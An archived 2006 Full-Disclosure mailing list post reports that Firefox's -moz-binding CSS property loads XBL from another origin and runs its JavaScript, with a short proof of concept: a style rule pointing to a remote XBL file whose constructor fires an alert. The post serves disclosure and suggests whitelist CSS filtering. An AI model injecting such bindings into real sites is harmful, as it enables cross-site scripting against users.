Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[Full-disclosure] -moz-binding CSS property: more XSS fun

from [Nikolas Coukouma] Network Security [Permanent Link]
Subject: [Full-disclosure] -moz-binding CSS property: more XSS fun
Date: Sat, 28 Jan 2006 15:11:21 -0500
Hm, I haven't seen this posted here ...
Firefox now supports the -moz-binding CSS property, which associate XBL[1] with an element. The same origin policy is not applied. This is a problem because XBL may contain JavaScript and it runs with full access to content.

There is a bug report[2] filed, but it seems unlikely that it will be fixed anytime soon.

This is a good time to consider using a CSS parser and whitelist to filter style tags and attributes.

I've included a very simple example below.

Cheers,
-Nikolas

[1] http://www.mozilla.org/projects/xbl/xbl.html
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss";); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl";
xmlns:html="http://www.w3.org/1999/xhtml";>

 <binding id="xss">
   <implementation>
     <constructor>
       alert("XBL XSS");
     </constructor>
   </implementation>
 </binding>

</bindings>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • [Full-disclosure] -moz-binding CSS property: more XSS fun, Nikolas Coukouma <=
Previous by Date:  RE: [Full-disclosure] Can Someone Tell Me What This Is?, Very Unprivate
Next by Date:  [Full-disclosure] PHP5 Globals Vulnerability, ascii
Previous by Thread:  [Full-disclosure] PmWiki Multiple Vulnerabilities, ascii
Next by Thread:  [Full-disclosure] PHP5 Globals Vulnerability, ascii
Indexes:  [Date] [Thread] [Top] [All Lists]